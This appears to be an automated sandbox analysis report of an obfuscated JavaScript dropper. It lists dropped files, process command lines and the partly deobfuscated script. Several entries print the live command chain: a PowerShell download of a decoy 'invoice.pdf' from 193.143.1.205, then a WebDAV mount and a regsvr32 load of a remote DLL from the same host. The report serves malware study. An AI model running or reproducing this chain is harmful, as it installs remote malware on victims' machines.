Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16706), with CRLF line terminators
Entropy (8bit):	4.907227735741049
TrID:
File name:	281511335289626058.js
File size:	20'125 bytes
MD5:	84c0684626fd28acafa8f2584f1583e0
SHA1:	a5e16a01a3e5caf40e6bd906b27f2d74b0bb5264
SHA256:	a8198bee4a72d195feb5f622b486c0c18f811fb1bbe575a3864250ec801feb6a
SHA512:	fd2964c5c79197eac57641d39ea2bb0eb3e8bfa2ef2d28a6598ed430372d11e4de7fef3f30fb10ab53f96d1c18384721b8fd3f3269f5d7f512d867e51b1d95f0
SSDEEP:	192:RmAHBRPwuAPbJNZGs7xodf8Zp27Vc/bwTCmeLNBL9N+yWrkYQJiJajgPj7bIvE:0AHB5wuAjbZuOvbwTq/zYQs7L7b4E
TLSH:	4F928648C937824BEFD09DB8233520DD44CD47CC62B62DA6E6D26C420706F96A6F6779
File Content Preview:	function cmgagceox(){jbwogn=[1031,3079,5127,4103,2055,3072];var rcgocyaiv=this[lccjb+ngqhx+tmkkuvj+jwdfm+znllvdime+zvzen+esqoli+nvjkaky](this[qcjutlcuw+xshxmiaic+rgtcwzo+tmkkuvj+lexxh+lccjb+nvjkaky][havdnaq+tmkkuvj+znllvdime+ngqhx+nvjkaky+znllvdime+xjaidc

File Icon


Icon Hash:	68d69b8bb6aa9a86

Target ID:	1
Start time:	11:51:24
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\281511335289626058.js"
Imagebase:	0x7ff786090000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	11:51:26
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll
Imagebase:	0x7ff6ab580000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	11:51:26
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	11:51:26
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	11:51:33
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff64eb90000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	11:51:33
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6ab580000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	11:51:33
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7c31f0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	11:51:34
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	11:51:34
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7df220000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	11:51:35
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2304 --field-trial-handle=1528,i,7476716239039598355,18098748400570435661,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function cmgagceox() {	cmgagceox() ➔ undefined
1	jbwogn = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var rcgocyaiv = this[lccjb + ngqhx + tmkkuvj + jwdfm + znllvdime + zvzen + esqoli + nvjkaky] ( this[qcjutlcuw + xshxmiaic + rgtcwzo + tmkkuvj + lexxh + lccjb + nvjkaky][havdnaq + tmkkuvj + znllvdime + ngqhx + nvjkaky + znllvdime + xjaidc + ptgppaimj + payovq + znllvdime + rgtcwzo + nvjkaky] ( qcjutlcuw + xshxmiaic + rgtcwzo + tmkkuvj + lexxh + lccjb + nvjkaky + bevry + xshxmiaic + akvzk + znllvdime + owacixog + owacixog ) [ekwsxuet + znllvdime + gliukbzz + ekwsxuet + znllvdime + ngqhx + elogijfn] ( mchtp + jkpfbrjm + zcdys + jycvxnivu + horqxpfa + havdnaq + retdgg + ekwsxuet + ekwsxuet + zcdys + kxcqpopn + hfixy + horqxpfa + retdgg + xshxmiaic + zcdys + ekwsxuet + jribg + havdnaq + pffaogw + esqoli + nvjkaky + tmkkuvj + pffaogw + owacixog + hwzor + fvgod + ngqhx + esqoli + znllvdime + owacixog + jribg + zvzen + esqoli + nvjkaky + znllvdime + tmkkuvj + esqoli + ngqhx + nvjkaky + lexxh + pffaogw + esqoli + ngqhx + owacixog + jribg + hgjfj + pffaogw + rgtcwzo + ngqhx + owacixog + znllvdime ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( jixuvo = 0 ; jixuvo < jbwogn[owacixog + znllvdime + esqoli + gliukbzz + nvjkaky + akvzk] ; ++ jixuvo )
4	{
5	if ( rcgocyaiv == jbwogn[jixuvo] )
6	{
7	rcgocyaiv = true;
8	break ;
9	}
10	}
11	if ( rcgocyaiv !== true )
12	this[qcjutlcuw + xshxmiaic + rgtcwzo + tmkkuvj + lexxh + lccjb + nvjkaky][lnpasqmpd + pyrsozilp + lexxh + nvjkaky] ( );
13	this[qcjutlcuw + xshxmiaic + rgtcwzo + tmkkuvj + lexxh + lccjb + nvjkaky][havdnaq + tmkkuvj + znllvdime + ngqhx + nvjkaky + znllvdime + xjaidc + ptgppaimj + payovq + znllvdime + rgtcwzo + nvjkaky] ( qcjutlcuw + xshxmiaic + rgtcwzo + tmkkuvj + lexxh + lccjb + nvjkaky + bevry + xshxmiaic + akvzk + znllvdime + owacixog + owacixog ) [tmkkuvj + pyrsozilp + esqoli] ( rgtcwzo + qdmelc + elogijfn + hwzor + bwbydke + rgtcwzo + hwzor + lccjb + pffaogw + dtihpwuk + znllvdime + tmkkuvj + jwdfm + akvzk + znllvdime + owacixog + owacixog + bevry + znllvdime + cvghoyb + znllvdime + hwzor + wxzulurx + havdnaq + pffaogw + qdmelc + qdmelc + ngqhx + esqoli + elogijfn + hwzor + ceehxcq + zvzen + esqoli + uphifxn + pffaogw + iearxh + znllvdime + wxzulurx + qcjutlcuw + znllvdime + ptgppaimj + ekwsxuet + znllvdime + weifmhjdf + pyrsozilp + znllvdime + jwdfm + nvjkaky + hwzor + wxzulurx + xjaidc + pyrsozilp + nvjkaky + zygzp + lexxh + owacixog + znllvdime + hwzor + aybcxf + nvjkaky + znllvdime + qdmelc + lccjb + aybcxf + jribg + lexxh + esqoli + uphifxn + pffaogw + lexxh + rgtcwzo + znllvdime + bevry + lccjb + elogijfn + sqwbqk + hwzor + akvzk + nvjkaky + nvjkaky + lccjb + qymdnpks + bwbydke + bwbydke + xipdrypvw + equia + xvialg + bevry + xipdrypvw + lhdzwpu + xvialg + bevry + xipdrypvw + bevry + vaexb + qmhsz + alccqmijn + bwbydke + lexxh + esqoli + uphifxn + pffaogw + lexxh + rgtcwzo + znllvdime + bevry + lccjb + akvzk + lccjb + ceehxcq + rgjbedwm + rgjbedwm + jwdfm + nvjkaky + ngqhx + tmkkuvj + nvjkaky + hwzor + aybcxf + nvjkaky + znllvdime + qdmelc + lccjb + aybcxf + jribg + lexxh + esqoli + uphifxn + pffaogw + lexxh + rgtcwzo + znllvdime + bevry + lccjb + elogijfn + sqwbqk + rgjbedwm + rgjbedwm + rgtcwzo + qdmelc + elogijfn + hwzor + bwbydke + rgtcwzo + hwzor + esqoli + znllvdime + nvjkaky + hwzor + pyrsozilp + jwdfm + znllvdime + hwzor + jribg + jribg + xipdrypvw + equia + xvialg + bevry + xipdrypvw + lhdzwpu + xvialg + bevry + xipdrypvw + bevry + vaexb + qmhsz + alccqmijn + qzczi + rygrfcvy + rygrfcvy + rygrfcvy + rygrfcvy + jribg + elogijfn + ngqhx + uphifxn + dtihpwuk + dtihpwuk + dtihpwuk + tmkkuvj + pffaogw + pffaogw + nvjkaky + jribg + rgjbedwm + rgjbedwm + rgtcwzo + qdmelc + elogijfn + hwzor + bwbydke + rgtcwzo + hwzor + tmkkuvj + znllvdime + gliukbzz + jwdfm + uphifxn + tmkkuvj + xvialg + vaexb + hwzor + bwbydke + jwdfm + hwzor + jribg + jribg + xipdrypvw + equia + xvialg + bevry + xipdrypvw + lhdzwpu + xvialg + bevry + xipdrypvw + bevry + vaexb + qmhsz + alccqmijn + qzczi + rygrfcvy + rygrfcvy + rygrfcvy + rygrfcvy + jribg + elogijfn + ngqhx + uphifxn + dtihpwuk + dtihpwuk + dtihpwuk + tmkkuvj + pffaogw + pffaogw + nvjkaky + jribg + vaexb + xipdrypvw + szkdysapo + szkdysapo + xvialg + klqpyeu + vaexb + szkdysapo + szkdysapo + vaexb + alccqmijn + equia + alccqmijn + xipdrypvw + bevry + elogijfn + owacixog + owacixog, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll",0,false) ➔ 0
14	}
15	qcjutlcuw = "R";
16	qcjutlcuw = "K";
17	qcjutlcuw = "N";
18	qcjutlcuw = "N";
19	qcjutlcuw = "i";
20	qcjutlcuw = "G";
21	qcjutlcuw = "g";
22	qcjutlcuw = "R";
23	qcjutlcuw = "o";
24	qcjutlcuw = "W";
25	dtihpwuk = "k";
26	dtihpwuk = "D";
27	dtihpwuk = "P";
28	dtihpwuk = "X";
29	dtihpwuk = "b";
30	dtihpwuk = "D";
31	dtihpwuk = "M";
32	dtihpwuk = "N";
33	dtihpwuk = "R";
34	dtihpwuk = "S";
35	dtihpwuk = "s";
36	dtihpwuk = "Z";
37	dtihpwuk = "t";
38	dtihpwuk = "E";
39	dtihpwuk = "Z";
40	dtihpwuk = "i";
41	dtihpwuk = "I";
42	dtihpwuk = "U";
43	dtihpwuk = "C";
44	dtihpwuk = "c";
45	dtihpwuk = "I";
46	dtihpwuk = "h";
47	dtihpwuk = "z";
48	dtihpwuk = "f";
49	dtihpwuk = "K";
50	dtihpwuk = "d";
51	dtihpwuk = "m";
52	dtihpwuk = "w";
53	hwzor = "P";
54	hwzor = "d";
55	hwzor = "i";
56	hwzor = "m";
57	hwzor = "I";
58	hwzor = "d";
59	hwzor = "X";
60	hwzor = "M";
61	hwzor = "i";
62	hwzor = "g";
63	hwzor = "F";
64	hwzor = "C";
65	hwzor = "p";
66	hwzor = "T";
67	hwzor = "n";
68	hwzor = "S";
69	hwzor = "O";
70	hwzor = "i";
71	hwzor = "v";
72	hwzor = "m";
73	hwzor = "c";
74	hwzor = "h";
75	hwzor = "g";
76	hwzor = "G";
77	hwzor = "p";
78	hwzor = "s";
79	hwzor = "F";
80	hwzor = "W";
81	hwzor = " ";
82	cvghoyb = "Q";
83	cvghoyb = "J";
84	cvghoyb = "R";
85	cvghoyb = "J";
86	cvghoyb = "P";
87	cvghoyb = "d";
88	cvghoyb = "P";
89	cvghoyb = "H";
90	cvghoyb = "g";
91	cvghoyb = "g";
92	cvghoyb = "H";
93	cvghoyb = "Q";
94	cvghoyb = "g";
95	cvghoyb = "p";
96	cvghoyb = "J";
97	cvghoyb = "W";
98	cvghoyb = "f";
99	cvghoyb = "w";
100	cvghoyb = "R";
101	cvghoyb = "i";
102	cvghoyb = "j";
103	cvghoyb = "E";
104	cvghoyb = "l";
105	cvghoyb = "H";
106	cvghoyb = "z";
107	cvghoyb = "R";
108	cvghoyb = "S";
109	cvghoyb = "v";
110	cvghoyb = "q";
111	cvghoyb = "D";
112	cvghoyb = "H";
113	cvghoyb = "q";
114	cvghoyb = "Z";
115	cvghoyb = "V";
116	cvghoyb = "Q";
117	cvghoyb = "d";
118	cvghoyb = "D";
119	cvghoyb = "x";
120	horqxpfa = "L";
121	horqxpfa = "u";
122	horqxpfa = "s";
123	horqxpfa = "K";
124	horqxpfa = "n";
125	horqxpfa = "C";
126	horqxpfa = "C";
127	horqxpfa = "A";
128	horqxpfa = "y";
129	horqxpfa = "k";
130	horqxpfa = "I";
131	horqxpfa = "_";
132	zvzen = "a";
133	zvzen = "p";
134	zvzen = "K";
135	zvzen = "x";
136	zvzen = "l";
137	zvzen = "S";
138	zvzen = "b";
139	zvzen = "q";
140	zvzen = "r";
141	zvzen = "f";
142	zvzen = "m";
143	zvzen = "X";
144	zvzen = "R";
145	zvzen = "D";
146	zvzen = "F";
147	zvzen = "h";
148	zvzen = "J";
149	zvzen = "p";
150	zvzen = "I";
151	jwdfm = "v";
152	jwdfm = "B";
153	jwdfm = "j";
154	jwdfm = "V";
155	jwdfm = "p";
156	jwdfm = "E";
157	jwdfm = "g";
158	jwdfm = "o";
159	jwdfm = "t";
160	jwdfm = "o";
161	jwdfm = "Y";
162	jwdfm = "J";
163	jwdfm = "M";
164	jwdfm = "c";
165	jwdfm = "n";
166	jwdfm = "p";
167	jwdfm = "V";
168	jwdfm = "Y";
169	jwdfm = "P";
170	jwdfm = "r";
171	jwdfm = "h";
172	jwdfm = "o";
173	jwdfm = "s";
174	jwdfm = "N";
175	jwdfm = "k";
176	jwdfm = "t";
177	jwdfm = "q";
178	jwdfm = "x";
179	jwdfm = "s";
180	jwdfm = "g";
181	jwdfm = "D";
182	jwdfm = "A";
183	jwdfm = "k";
184	jwdfm = "G";
185	jwdfm = "s";
186	jwdfm = "b";
187	jwdfm = "F";
188	jwdfm = "k";
189	jwdfm = "V";
190	jwdfm = "u";
191	jwdfm = "a";
192	jwdfm = "f";
193	jwdfm = "s";
194	lccjb = "w";
195	lccjb = "t";
196	lccjb = "z";
197	lccjb = "Q";
198	lccjb = "r";
199	lccjb = "O";
200	lccjb = "P";
201	lccjb = "P";
202	lccjb = "Y";
203	lccjb = "h";
204	lccjb = "f";
205	lccjb = "e";
206	lccjb = "V";
207	lccjb = "T";
208	lccjb = "r";
209	lccjb = "Z";
210	lccjb = "O";
211	lccjb = "A";
212	lccjb = "L";
213	lccjb = "X";
214	lccjb = "f";
215	lccjb = "d";
216	lccjb = "D";
217	lccjb = "p";
218	lccjb = "U";
219	lccjb = "V";
220	lccjb = "A";
221	lccjb = "b";
222	lccjb = "g";
223	lccjb = "y";
224	lccjb = "s";
225	lccjb = "b";
226	lccjb = "x";
227	lccjb = "d";
228	lccjb = "l";
229	lccjb = "B";
230	lccjb = "t";
231	lccjb = "q";
232	lccjb = "O";
233	lccjb = "Y";
234	lccjb = "g";
235	lccjb = "p";
236	szkdysapo = "N";
237	szkdysapo = "k";
238	szkdysapo = "X";
239	szkdysapo = "h";
240	szkdysapo = "n";
241	szkdysapo = "m";
242	szkdysapo = "x";
243	szkdysapo = "y";
244	szkdysapo = "z";
245	szkdysapo = "X";
246	szkdysapo = "p";
247	szkdysapo = "b";
248	szkdysapo = "j";
249	szkdysapo = "O";
250	szkdysapo = "Y";
251	szkdysapo = "e";
252	szkdysapo = "A";
253	szkdysapo = "b";
254	szkdysapo = "r";
255	szkdysapo = "7";
256	qdmelc = "H";
257	qdmelc = "e";
258	qdmelc = "N";
259	qdmelc = "z";
260	qdmelc = "X";
261	qdmelc = "a";
262	qdmelc = "Q";
263	qdmelc = "F";
264	qdmelc = "K";
265	qdmelc = "U";
266	qdmelc = "j";
267	qdmelc = "h";
268	qdmelc = "g";
269	qdmelc = "e";
270	qdmelc = "d";
271	qdmelc = "j";
272	qdmelc = "Z";
273	qdmelc = "Y";
274	qdmelc = "B";
275	qdmelc = "o";
276	qdmelc = "v";
277	qdmelc = "Z";
278	qdmelc = "l";
279	qdmelc = "l";
280	qdmelc = "Z";
281	qdmelc = "D";
282	qdmelc = "W";
283	qdmelc = "s";
284	qdmelc = "m";
285	qdmelc = "O";
286	qdmelc = "o";
287	qdmelc = "B";
288	qdmelc = "U";
289	qdmelc = "x";
290	qdmelc = "z";
291	qdmelc = "N";
292	qdmelc = "d";
293	qdmelc = "w";
294	qdmelc = "m";
295	hfixy = "F";
296	hfixy = "z";
297	hfixy = "p";
298	hfixy = "H";
299	hfixy = "n";
300	hfixy = "E";
301	hfixy = "o";
302	hfixy = "E";
303	hfixy = "B";
304	hfixy = "d";
305	hfixy = "s";
306	hfixy = "B";
307	hfixy = "J";
308	hfixy = "A";
309	hfixy = "y";
310	hfixy = "y";
311	hfixy = "U";
312	hfixy = "s";
313	hfixy = "w";
314	hfixy = "s";
315	hfixy = "T";
316	hfixy = "T";
317	esqoli = "F";
318	esqoli = "x";
319	esqoli = "T";
320	esqoli = "w";
321	esqoli = "G";
322	esqoli = "i";
323	esqoli = "n";
324	zcdys = "W";
325	zcdys = "F";
326	zcdys = "g";
327	zcdys = "G";
328	zcdys = "A";
329	zcdys = "x";
330	zcdys = "Q";
331	zcdys = "Q";
332	zcdys = "n";
333	zcdys = "m";
334	zcdys = "v";
335	zcdys = "u";
336	zcdys = "z";
337	zcdys = "A";
338	zcdys = "e";
339	zcdys = "a";
340	zcdys = "M";
341	zcdys = "x";
342	zcdys = "x";
343	zcdys = "m";
344	zcdys = "c";
345	zcdys = "M";
346	zcdys = "x";
347	zcdys = "W";
348	zcdys = "c";
349	zcdys = "P";
350	zcdys = "N";
351	zcdys = "c";
352	zcdys = "E";
353	akvzk = "o";
354	akvzk = "J";
355	akvzk = "h";
356	akvzk = "p";
357	akvzk = "E";
358	akvzk = "R";
359	akvzk = "I";
360	akvzk = "e";
361	akvzk = "q";
362	akvzk = "e";
363	akvzk = "h";
364	pyrsozilp = "v";
365	pyrsozilp = "m";
366	pyrsozilp = "H";
367	pyrsozilp = "Q";
368	pyrsozilp = "x";
369	pyrsozilp = "B";
370	pyrsozilp = "F";
371	pyrsozilp = "t";
372	pyrsozilp = "q";
373	pyrsozilp = "O";
374	pyrsozilp = "o";
375	pyrsozilp = "a";
376	pyrsozilp = "t";
377	pyrsozilp = "J";
378	pyrsozilp = "S";
379	pyrsozilp = "d";
380	pyrsozilp = "G";
381	pyrsozilp = "W";
382	pyrsozilp = "G";
383	pyrsozilp = "w";
384	pyrsozilp = "s";
385	pyrsozilp = "v";
386	pyrsozilp = "p";
387	pyrsozilp = "M";
388	pyrsozilp = "K";
389	pyrsozilp = "O";
390	pyrsozilp = "T";
391	pyrsozilp = "a";
392	pyrsozilp = "L";
393	pyrsozilp = "m";
394	pyrsozilp = "T";
395	pyrsozilp = "K";
396	pyrsozilp = "Q";
397	pyrsozilp = "r";
398	pyrsozilp = "u";
399	elogijfn = "x";
400	elogijfn = "E";
401	elogijfn = "c";
402	elogijfn = "t";
403	elogijfn = "o";
404	elogijfn = "C";
405	elogijfn = "I";
406	elogijfn = "a";
407	elogijfn = "k";
408	elogijfn = "x";
409	elogijfn = "L";
410	elogijfn = "m";
411	elogijfn = "d";
412	elogijfn = "w";
413	elogijfn = "q";
414	elogijfn = "o";
415	elogijfn = "c";
416	elogijfn = "T";
417	elogijfn = "s";
418	elogijfn = "Q";
419	elogijfn = "d";
420	alccqmijn = "l";
421	alccqmijn = "F";
422	alccqmijn = "Y";
423	alccqmijn = "S";
424	alccqmijn = "Y";
425	alccqmijn = "d";
426	alccqmijn = "K";
427	alccqmijn = "a";
428	alccqmijn = "g";
429	alccqmijn = "T";
430	alccqmijn = "Q";
431	alccqmijn = "U";
432	alccqmijn = "v";
433	alccqmijn = "f";
434	alccqmijn = "z";
435	alccqmijn = "a";
436	alccqmijn = "c";
437	alccqmijn = "w";
438	alccqmijn = "A";
439	alccqmijn = "j";
440	alccqmijn = "g";
441	alccqmijn = "N";
442	alccqmijn = "X";
443	alccqmijn = "p";
444	alccqmijn = "d";
445	alccqmijn = "V";
446	alccqmijn = "k";
447	alccqmijn = "Q";
448	alccqmijn = "y";
449	alccqmijn = "R";
